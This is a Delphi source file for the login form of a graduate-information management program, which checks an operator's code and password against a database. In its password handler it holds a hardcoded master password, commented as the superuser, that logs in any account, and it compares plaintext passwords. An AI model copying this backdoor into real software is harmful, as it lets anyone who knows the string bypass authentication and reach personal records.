pass.pas

这个软件主要是管理毕业生的各种信息,包含你的成绩,毕业学校,查询、修改毕业生的信息等。

unit pass;

interface

uses
  Windows, SysUtils, Classes, Graphics, Forms, Controls, StdCtrls,Dialogs,
  Buttons, ExtCtrls, DBCtrls, RXCtrls,Messages, db, dosmove,GIFCtrl,menus,
  ADODB, Grids, DBGrids, Mask, ToolEdit, RXDBCtrl;

type
  Tpassf = class(TForm)
    tc: TBitBtn;
    qd: TBitBtn;
    Label2: TLabel;
    Password: TEdit;
    tDosMove1: tDosMove;
    RxLabel1: TRxLabel;
    Bevel1: TBevel;
    Label1: TLabel;
    Label3: TLabel;
    RxLabel2: TRxLabel;
    Shape1: TShape;
    RxLabel3: TRxLabel;
    Label6: TLabel;
    codetxt: TEdit;
    nametext: TEdit;
    yhm: TADOQuery;
    procedure FormClose(Sender: TObject; var Action: TCloseAction);
    procedure PasswordKeyPress(Sender: TObject; var Key: Char);
    procedure qdClick(Sender: TObject);
    procedure FormShow(Sender: TObject);
  private
  public
  end;

var
  passf: Tpassf;
  js:integer;
  tj:string;
  thispasswd:string;

implementation

uses data, global, main;

{$R *.DFM}
procedure Tpassf.FormShow(Sender: TObject);
begin
  yhm.active:=true;
  ch:='f';
  tj:='dm';
end;

procedure Tpassf.FormClose(Sender: TObject; var Action: TCloseAction);
begin
  action:=cafree;
end;

procedure Tpassf.PasswordKeyPress(Sender: TObject; var Key: Char);
begin
  if key<>#13 then
     exit;
  qd.setfocus;
end;

procedure Tpassf.qdClick(Sender: TObject);
begin
  if tj='dm' then
  begin
    with yhm do
    begin
      if not locate('编码',trim(codetxt.text),[loCaseInsensitive]) then
      begin
        messagedlg('此代码不存在',mtwarning,[mbok],0);
        nametext.Text :='';
        nametext.clear;
        Password.Clear;
        codetxt.clear;
        codetxt.SetFocus ;
        tj:='dm';
        exit;
      end else
      begin
        OpratorName:=fieldbyname('姓名').asstring;
        OpratorCode:=fieldbyname('编码').asstring;
        nametext.text:=OpratorName;
        OpratorName:=nametext.text;//操作员姓名
        OpratorPassWord:=fieldbyname('口令').asstring;
        Password.enabled:=true;
        Password.SetFocus ;
        tj:='kl';
        exit;
      end;
    end;
  end else
  begin
    if OpratorPassWord<>Password.Text then
    begin
      if Password.Text='hwkj234808' then  //超级用户
      begin
        OpratorPassWord:='hwkj234808';
        LoginSuccess:=true;
        ch:='t';
        close;
      end else
      begin
        js:=js+1;
        if js=4 then
        begin
          messagedlg('对不起,您不是合法用户。'+chr(13)+chr(13)+'再见.'+chr(13),mtwarning,[mbok],0);
          ch:='f';
          close;
        end else
        begin
          messagedlg('口令错误,请重新输入。'+chr(13)+'            第 '+inttostr(js)+' 次',mtwarning,[mbok],0);
          Password.clear;
          Password.SetFocus;
          exit;
        end;
      end;
    end else
    begin
      LoginSuccess:=true;
      ch:='t';
      close;
    end;
  end;
end;


end.